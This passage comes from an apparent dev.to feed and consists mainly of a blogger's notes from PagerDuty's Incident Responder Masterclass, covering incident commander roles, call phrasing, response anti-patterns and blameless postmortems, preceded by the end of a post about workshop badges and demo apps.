&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8gjaJ2FN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/69lxqhtfdoeywdmnzso8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8gjaJ2FN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/69lxqhtfdoeywdmnzso8.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Instead of using Netlify, I planned to deploy the JAM stack application to Cloudflare Pages and using Cloudflare Workers to handle the serverless functions.&lt;br&gt;
I will write another blog post on that after this project completes!&lt;/p&gt;




&lt;p&gt;Here are the links to my TikTok and Netlify clone applications!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://flamboyant-volhard-65f142.netlify.app/"&gt;https://flamboyant-volhard-65f142.netlify.app/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://amazing-easley-06f406.netlify.app/"&gt;https://amazing-easley-06f406.netlify.app/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Here are my repositories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/gabanz/react-todo-list"&gt;https://github.com/gabanz/react-todo-list&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gabanz/workshop-astra-tik-tok"&gt;https://github.com/gabanz/workshop-astra-tik-tok&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gabanz/stargate-tiktok"&gt;https://github.com/gabanz/stargate-tiktok&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gabanz/astra-graphql-netflix"&gt;https://github.com/gabanz/astra-graphql-netflix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Here are the links to the workshop recordings:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Building your first app with Javascript and NodeJS&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=NzT_w3YHpuI&amp;amp;t=3808s"&gt;https://www.youtube.com/watch?v=NzT_w3YHpuI&amp;amp;t=3808s&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build your own TikTok Clone!&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=E5RtsqP53ic"&gt;https://www.youtube.com/watch?v=E5RtsqP53ic&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build your own NETFLIX clone!&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=csOcK0G23vU"&gt;https://www.youtube.com/watch?v=csOcK0G23vU&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;Here are my badges!&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://api.badgr.io/public/assertions/m1WVT_IzRXyuouWmrb0cZg"&gt;https://api.badgr.io/public/assertions/m1WVT_IzRXyuouWmrb0cZg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://api.badgr.io/public/assertions/43mNVDhfSc6igcFrg2MoEQ"&gt;https://api.badgr.io/public/assertions/43mNVDhfSc6igcFrg2MoEQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://api.badgr.io/public/assertions/IWASOQobQFmIcX43IBihMA"&gt;https://api.badgr.io/public/assertions/IWASOQobQFmIcX43IBihMA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://api.badgr.io/public/assertions/W1KfA465SCSvPFLPLaS5Hw"&gt;https://api.badgr.io/public/assertions/W1KfA465SCSvPFLPLaS5Hw&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Golden badge was awarded after successfully completing all the hands-on practice in the workshop and the homework.&lt;/p&gt;

</description>
      <category>database</category>
      <category>react</category>
      <category>jamstack</category>
      <category>graphql</category>
    </item>
    <item>
      <title>What is an Incident Response process</title>
      <dc:creator>Faiz Azhar</dc:creator>
      <pubDate>Sat, 10 Jul 2021 17:24:45 +0000</pubDate>
      <link>https://dev.to/gabanz/what-is-an-incident-response-process-222d</link>
      <guid>https://dev.to/gabanz/what-is-an-incident-response-process-222d</guid>
      <description>&lt;p&gt;Recently I attended the PagerDuty Incident Responder Masterclass as part of the PagerDuty Summit 2021. &lt;/p&gt;

&lt;p&gt;Before this course, I already have some experience participating in an incident war room as part of my day job, and incident response is a topic commonly discussed in literature such as in cybersecurity. So I started the PagerDuty Incident Responder course assuming that I already knew most of the stuff.&lt;/p&gt;

&lt;p&gt;However, when I got halfway through the course, I started to diligently take notes, because I realized there were many gems and insights here that should not be overlooked. The course is really that good! It covers a lot of ground from history and definitions of the framework, up to an introduction of cognitive bias, but my favorite parts are the best practices and the advice given. Those are very practical and sound.&lt;/p&gt;

&lt;p&gt;The course description mentioned that the course is suitable for technical team leads, managers, directors, responders, and anyone seeking to better their incident response process. I agree that everyone on the team should take this course as a prerequisite before joining an incident call.&lt;/p&gt;

&lt;p&gt;They seem to have the stats to back this up:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg2rygtu50qbpfabui3am.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg2rygtu50qbpfabui3am.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'm sharing here my thoughts and key takeaways about the course. Thank you to Hayley Neal and Camden Louie from the PagerDuty University for delivering this workshop.&lt;/p&gt;


&lt;h1&gt;
  
  
  Introduction of Incident Response
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Incident: any uplanned disruption or event that is affecting customers' ability to use the product.&lt;/li&gt;
&lt;li&gt;Goal: to handle the situation in a way that limits damage and reduces recovery time and costs.&lt;/li&gt;
&lt;li&gt;Replace chaos with calm.&lt;/li&gt;
&lt;li&gt;Incident Response: an organized approach to addressing and managig an incident.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Incident Command System (ICS): &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Major incident: requires a coordinated response between multiple teams.

&lt;ul&gt;
&lt;li&gt;Timing is a surprise, typically little to no waarning&lt;/li&gt;
&lt;li&gt;Time matters, need to respond quickly&lt;/li&gt;
&lt;li&gt;Situation is rarely perfectly understood at the start&lt;/li&gt;
&lt;li&gt;Require coordination and mobilization, often cross-functional&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Anyone can trigger the Incident Response Process at any time.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The difference in emergency operations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hierarchy, clear order, work fast&lt;/li&gt;
&lt;li&gt;Resolution team has the highest authority&lt;/li&gt;
&lt;li&gt;Team works together to resolve incident, document what happened, and keep stakeholders updated.&lt;/li&gt;
&lt;li&gt;Emergency mode until the incident is officially resolved.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Response Team Goals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Work to resolve the incident quickly and efficiently&lt;/li&gt;
&lt;li&gt;Document decisions and follow up items&lt;/li&gt;
&lt;li&gt;Keep stakeholders informed&lt;/li&gt;
&lt;li&gt;Stay in wartime until the incident is officially resolved&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To accomplish this goal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mobilize and inform only the right people at the right time&lt;/li&gt;
&lt;li&gt;Use systematic learning and improvement&lt;/li&gt;
&lt;li&gt;Work towards total automation.&lt;/li&gt;
&lt;/ul&gt;


&lt;h1&gt;
  
  
  People Roles
&lt;/h1&gt;

&lt;p&gt;Role of an Incident Commander:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Single source of reference&lt;/li&gt;
&lt;li&gt;Is not a resolver but to coordinate and delegate&lt;/li&gt;
&lt;li&gt;Gain consensus&lt;/li&gt;
&lt;li&gt;Make a decision
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Size-up -&amp;gt; Stabilize -&amp;gt; Update -&amp;gt; Verify
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Becomes the highest authority (even higher than the CEO). Can only do that if you know what is being done and why.&lt;/li&gt;
&lt;li&gt;Work to resolve the incident quickly by building consensus. Practice the "two ears, one mouth" rule: listen twice as much as you speak.&lt;/li&gt;
&lt;li&gt;Don't panic. Breakdown in communication can hamper the entire process. The role of an IC is to try to make the line of communication clear and maintain discipline.&lt;/li&gt;
&lt;li&gt;Clear is better than concise. Avoid acronyms.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Start by introducing yourself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Hello, this is Camden. I'm the Incident Commander."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If there are no IC in the call, if you are trained as an IC and joined the call, you'll be the IC.&lt;br&gt;
The oncall incident commander would not take over automatically when they join a call, you'll be the IC until you performed a handover.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; "Is there an IC on the call?""
&amp;lt; ...
&amp;gt; "Hearing nothing. My name is Camden, I'm the incident commander."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Incident cycle is to stabilize the situation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ask for status.&lt;/li&gt;
&lt;li&gt;Decide action, gain consensus.&lt;/li&gt;
&lt;li&gt;Assign task.&lt;/li&gt;
&lt;li&gt;Follow up on task completion.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"What actions can we take?" (ask the SMEs what they want to do)
"What are the risks involved?" (understand the impact, that may change the decision)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make a decision:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Avoid decision paralysis. It prolongs the incident much further.&lt;/li&gt;
&lt;li&gt;Making a wrong decision is better than making no decision.&lt;/li&gt;
&lt;li&gt;Flip a coin if you need to. You learn nothing new and make no progress otherwise. At least wrong decision will give you new information.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Gain consensus:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rely on team's expertise to try out a solution for that incident.&lt;/li&gt;
&lt;li&gt;Distributed consensus is hard, so read it in a different way to implicitly gain consensus.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; "I propose xxx. Are there any strong objections?"
&amp;lt; ...
&amp;gt; "Hearing none. Let's proceed."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clear ownership:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Avoid "bystander effect". Point to somebody.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Hayley, I'd like you to investigate the increased latency, try to find the cause. I'll come back to you in 5 minutes. Understood?"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Assign actions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Assign tasks to a specific person. It's fine to assign to a role (e.g DBA oncall) as long as the role points to a single individual. Don't assign to a group.&lt;/li&gt;
&lt;li&gt;Time-box all tasks to set expectations.&lt;/li&gt;
&lt;li&gt;Get acknowledgements.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Hayley, it's been 5 minutes. Do you have any information on the latency issue?"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What if they need more time?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ask the experts how long do they think they need.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; "How much time do you need?"
&amp;lt; "20 minutes should be enough"
&amp;gt; "OK, I'll come back to you in 20."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Map incident cycle with corresponding phrase:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What's wrong?&lt;/li&gt;
&lt;li&gt;What action can we take? What are the risks? Are there any strong objections?&lt;/li&gt;
&lt;li&gt;Clear ownership with a timebox.&lt;/li&gt;
&lt;li&gt;What's the status?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Deputy role (IC's right hand):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keeps the IC focused.&lt;/li&gt;
&lt;li&gt;Takes on any and all additional tasks as necessary (timekeeping, paging people etc)&lt;/li&gt;
&lt;li&gt;Serves to follow up on reminders and ensure tasks aren't missed.&lt;/li&gt;
&lt;li&gt;Acts as a "hot standby" for the IC.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Scribe role (record keeper):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Documents the incident timeline and important events as they occur.&lt;/li&gt;
&lt;li&gt;The incident log will be used during the post-mortem.&lt;/li&gt;
&lt;li&gt;Notes as important actions are taken, follow-up items, and status updates.&lt;/li&gt;
&lt;li&gt;Anyone can be a scribe. For small incidents, typically a deputy can also be a scribe.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Communications Liaison role:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can be all-in-one, or separate for external and internal stakeholders&lt;/li&gt;
&lt;li&gt;Notifies customers of current conditions.&lt;/li&gt;
&lt;li&gt;Informs the IC of relevant feedback from customers as incident progresses.&lt;/li&gt;
&lt;li&gt;Crafts language appropriate status updates and notification. (e.g use words like "service disruption" instead of "outage")&lt;/li&gt;
&lt;li&gt;Typically a member of the Support team.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notify stakeholders:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Don't ask for too frequent status updates.&lt;/li&gt;
&lt;li&gt;Remind people that writing an update takes away time from solving the incident.&lt;/li&gt;
&lt;li&gt;Recommend no more frequently than every 20-30mins, and at the start of a phase.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Minimum bases to cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make sure chain of command is clear, every role reports to IC. Only one leader directing the shell.&lt;/li&gt;
&lt;li&gt;Incident Command System (ICS) is a framework and can be scaled up or scaled down based on your organization.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Being Prepared for Incidents
&lt;/h2&gt;

&lt;p&gt;The 4 steps of an incident:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Triage (assess)&lt;/li&gt;
&lt;li&gt;Mobilize (the right people)&lt;/li&gt;
&lt;li&gt;Resolve (work towards a common goal)&lt;/li&gt;
&lt;li&gt;Prevent (have the right teams and roles engaged)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How do I prepare to manage incident response teams?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Ensure explicit processes and expectations exist.&lt;/li&gt;
&lt;li&gt;Set up runbooks and automated actions.&lt;/li&gt;
&lt;li&gt;Find ways to create more space for your teams to work.&lt;/li&gt;
&lt;li&gt;Make checklists (read the "Checklist Manifesto") reduce the strain to remember stuffs during time of panic.&lt;/li&gt;
&lt;li&gt;Practice running major incidents as a team (do regular Failure Fridays so IC can always be calm and collected)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Incident response pitfalls (anti-patterns)&lt;/p&gt;

&lt;p&gt;Executive hostile takeover:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt; "Ignore the IC, do what I say!"
&amp;gt; "Do you wish to take command?"
&amp;lt; "..."
&amp;gt; "We understand your concerns. We are working to resolve the incident quickly. Your instructions are slowing down the response. So please take your comment for discussion after the incident has been resolved."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Motivate people to solve things faster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt; "Let's try and resolve this in 10 minutes please!"
&amp;gt; "We're in the middle of an incident, please keep your comments until the end."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Requesting time-consuming information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt; "Can I get a spreadsheet of all affected customers?"
&amp;gt; "This will take time away from the incident. This is the time needed to solve the problem, after then we can look at the list."
&amp;gt; "We can either get you that list, or fix the incident. Not both. The incident takes priority."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Arguing about severity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If cannot decide on the severity, always assume it's a high severity and keep moving on. &lt;/li&gt;
&lt;li&gt;Even if it turns out to be a SEV-4 doesn't matter, that's something to discuss in the post-mortem.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt; "Is this really a SEV-1?"
&amp;gt; "We do not discuss incident severity during the call. We're treating this as a SEV-1."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Failure to notify stakeholders &lt;/p&gt;

&lt;p&gt;Anti-pattern: Getting everyone on the call.&lt;br&gt;
-&amp;gt; Get the right people at the right time&lt;/p&gt;

&lt;p&gt;Anti-pattern: Forcing everyone to stay on the call.&lt;br&gt;
-&amp;gt; If you don't need this person anymore, let them go.&lt;/p&gt;

&lt;p&gt;Being overly focused on an issue.&lt;br&gt;
-&amp;gt; Keep the bigger picture in mind (as an SME and IC)&lt;/p&gt;

&lt;p&gt;Requiring deeply technical Incident Commanders&lt;br&gt;
-&amp;gt; IC can be team agnostic. IC is the person expert in coordinating the response, not actually solving technical issues. That's what SMEs are for.&lt;/p&gt;

&lt;p&gt;The Belligerent Responder (big ego)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Hey, you're being obstructive to the team on the call. If you continue, I will have to remove you."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Handsoffs are encouraged&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Responders are human. Encourage taking responders off after 90 mins or so. &lt;/li&gt;
&lt;li&gt;More importantly, ICs need to have handoffs. Replace with deputy, rotate a new deputy in. Keep the cycle going. &lt;/li&gt;
&lt;li&gt;This is the reason it's important to have as many trained ICs as we possibly can. Make sure everybody stays fresh, rested and ready to respond.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; "Everyone on the call, be advised I'm handing over command to Tatiana."
&amp;lt; "This is Tatiana, I'm now the Incident Commander."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PagerDuty Ops Guides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;response.pagerduty.com&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Follow Up and Postmortems
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;What went wrong, and how do we learn from it?&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Institutionalize the culture of continuous improvement.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Completing a postmortem should be prioritized over planned work. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create SLA:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;3 business days for SEV-1&lt;/li&gt;
&lt;li&gt;5 business days for SEV-2&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;p&gt;IC will select and directly notify one responder to own completing the postmortem.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Postmortem owner is not the only person responsible for completing the postmortem itself. It is a collaborative effort and should include everyone involved in the incident response.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Postmortems are not a punishment. Effective postmortems are blameless.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;We don't call postmortems RCAs. Because in a complex systems, we have multiple root causes that leads to failure. &lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Owner is the accountable individual who performs the administrative tasks, follows up the information needed to drive it home. Writing it is a collaborative effort, but the single owner is the person orchestrating the entire effort. &lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Pointing finger in the old view of human error will increase time to acknowledge the incident, MTTR and exacerbating the impact of incident.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Becoming aware of our biases, we can identify when they occur and work to move past them.&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fundamental attribution error.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tendency to believe what people do reflect their character rather than the circumstances.&lt;/li&gt;
&lt;li&gt;To combat: Intentionally focus the analysis on the situational causes rather than discrete actions that people took.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Confirmation bias.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tendency to favor information that reinforces our existing beliefs.&lt;/li&gt;
&lt;li&gt;When presenting with ambiguous information, the human mind interprets it in a way that supports the existing assumptions a lot of the time.&lt;/li&gt;
&lt;li&gt;To combat: Pointing someone to play the devil's advocate. Their job is to take a contrarian viewpoint during the investigation. Be cautious of introducing negativity or combativeness with that devil's advocate.&lt;/li&gt;
&lt;li&gt;Alternatively, invite someone from other team to ask any and all questions that come to mind. Help to surface the things the team take for granted.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hindsight bias.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Memory distortion where we recall events to form a judgement.&lt;/li&gt;
&lt;li&gt;If we know the outcome, it's easy to see the event as being predictable, despite there has been little to no objective basis of predicting it.&lt;/li&gt;
&lt;li&gt;People often call events to make themselves look better, believe they knew it's going to happen as the event is unfolding. Acting on this bias can lead to defensiveness in the team.&lt;/li&gt;
&lt;li&gt;To combat: explaining events in terms of foresight. Work the timeline forward instead of starting from the resolution then work backwards.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Negativity bias.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The notion of things that have more of a negative nature have a greater effect on one's mental state than those of a neutral or positive nature.&lt;/li&gt;
&lt;li&gt;Research on social judgement show that negative information disproportionately impact the person's impression of others. We tend to focus and magnify the negative events, and this can lead to demoralizing, burnouts, chaos.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;How to avoid blame:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ask "what" and "how" questions rather than "who" or "why"&lt;/li&gt;
&lt;li&gt;Ask why a reasonable, rational, and decent person may have taken a particular action.&lt;/li&gt;
&lt;li&gt;Consider multiple and diverse perspectives.&lt;/li&gt;
&lt;li&gt;Abstract to an inspecific responder, anyone can have made the same mistake.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Introducing postmortem practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;As leaders, you must help introduce blameless postmortems. 

&lt;ul&gt;
&lt;li&gt;Culture change is hard. Change does not have to be driven by management, can be bottom-up changes that are often more successful than top-down mandate.&lt;/li&gt;
&lt;li&gt;Make sure you have buy-in and go up to your leadership team once you have buy-in from individual contributors.&lt;/li&gt;
&lt;li&gt;Need commitment from leadership that no individual will be reprimanded after an incident.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Sell the business value of blamelessness. Encourage collaborative learning.&lt;/li&gt;

&lt;li&gt;Get buy-in from individual contributors, because the tendency to blame is not unique to managers, can be across team mates as well. 

&lt;ul&gt;
&lt;li&gt;Explain why blameness is harmful to trust and collaboration.&lt;/li&gt;
&lt;li&gt;Agree to work together to become blame-aware and be accountable by kindly call to each other when blame is observed.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Acknowledge that practicing blamelessness is difficult for everyone. 

&lt;ul&gt;
&lt;li&gt;Avoid blaming the management for blaming others. Ask leadership if they could be receptive to receiving the feedback if and when they accidentally suggest blame after an incident.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Psychological safety:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A sense of confidence that the team will not embarrass, reject, or punish someone for speaking up.&lt;/li&gt;
&lt;li&gt;People need to feel safe talking about failure before they speak up about incident.&lt;/li&gt;
&lt;li&gt;This becomes a key driver of high performing software delivery teams.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How do I even change culture?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The #1 thing you can do for your teams is to build a culture of psychological safety with blameless postmortems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Postmortem Report best practices around the process&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Schedule portmortem meeting for 30 mins to 1 hour depending on the complexity of that incident.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Create a timeline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Present only facts.&lt;/li&gt;
&lt;li&gt;Report any changes in the status and impact of the incident and any key actions taken by responders.&lt;/li&gt;
&lt;li&gt;For each items in the timeline, identify metrics to help illustrate each points clearly based on facts rather than opinion.&lt;/li&gt;
&lt;li&gt;Link to monitoring graphs or tweets in some cases. Anything showing a data point that you want to illustrate could be added to the timeline.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Document the impact:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Described from a few perspectives:

&lt;ul&gt;
&lt;li&gt;How long the impact is visible? The length of time user/customers/partners are affected. Often they were impacted before the incident was triggered.&lt;/li&gt;
&lt;li&gt;How many customers were affected, how many percentage? Support may need to list the number of customers so they can reach out individually. &lt;/li&gt;
&lt;li&gt;How many customers wrote or call support about the incident?&lt;/li&gt;
&lt;li&gt;What functionality was impacted and how severely impacted?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Quantify impact with business metrics specific to your product.&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Analyze the incident:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An individual's action should never be considered a root cause, especially not a name. &lt;/li&gt;
&lt;li&gt;Check data. Ask why the system was designed to make this possible? Why the design decision seem to be the best decision during the time? Answering these questions will help uncover the contributing factors.&lt;/li&gt;
&lt;li&gt;Convert all to-do lists into tickets, but these do not need to be completed before the postmortem meeting.&lt;/li&gt;
&lt;li&gt;All action items should be actionable, specific and bounded.

&lt;ul&gt;
&lt;li&gt;Actionable: each action item is a sentence that should start with a verb.&lt;/li&gt;
&lt;li&gt;Specific: the action should resolve in a useful outcome.&lt;/li&gt;
&lt;li&gt;Bounded: to tell when it's actually finished as opposed to continually ongoing.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Write external messaging:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A summarized and sanitized version of the information used for the internal postmortem.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Postmortem meeting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An essential outcome is buy-in for the action plan.&lt;/li&gt;
&lt;li&gt;Opportunity to discuss proposed action items, brainstorm other opinions and gain consensus among the team of leadership.&lt;/li&gt;
&lt;li&gt;Discuss what will and will not be done and the explicit implications of the choices.&lt;/li&gt;
&lt;li&gt;Written postmortem is intended to be shared widely within the organization, but the primary audience of the postmortem meeting is the team directly involved with the incident.&lt;/li&gt;
&lt;li&gt;The meeting gives the chance to the team to align with what happened, what to do about it and how to communicate the incident to internal and external stakeholders.&lt;/li&gt;
&lt;li&gt;Develop good facilitators.

&lt;ul&gt;
&lt;li&gt;Encourage participants to speak up and keep the discussion on track. &lt;/li&gt;
&lt;li&gt;Helpful to designate a facilitator who is not also trying to participate in the discussion.&lt;/li&gt;
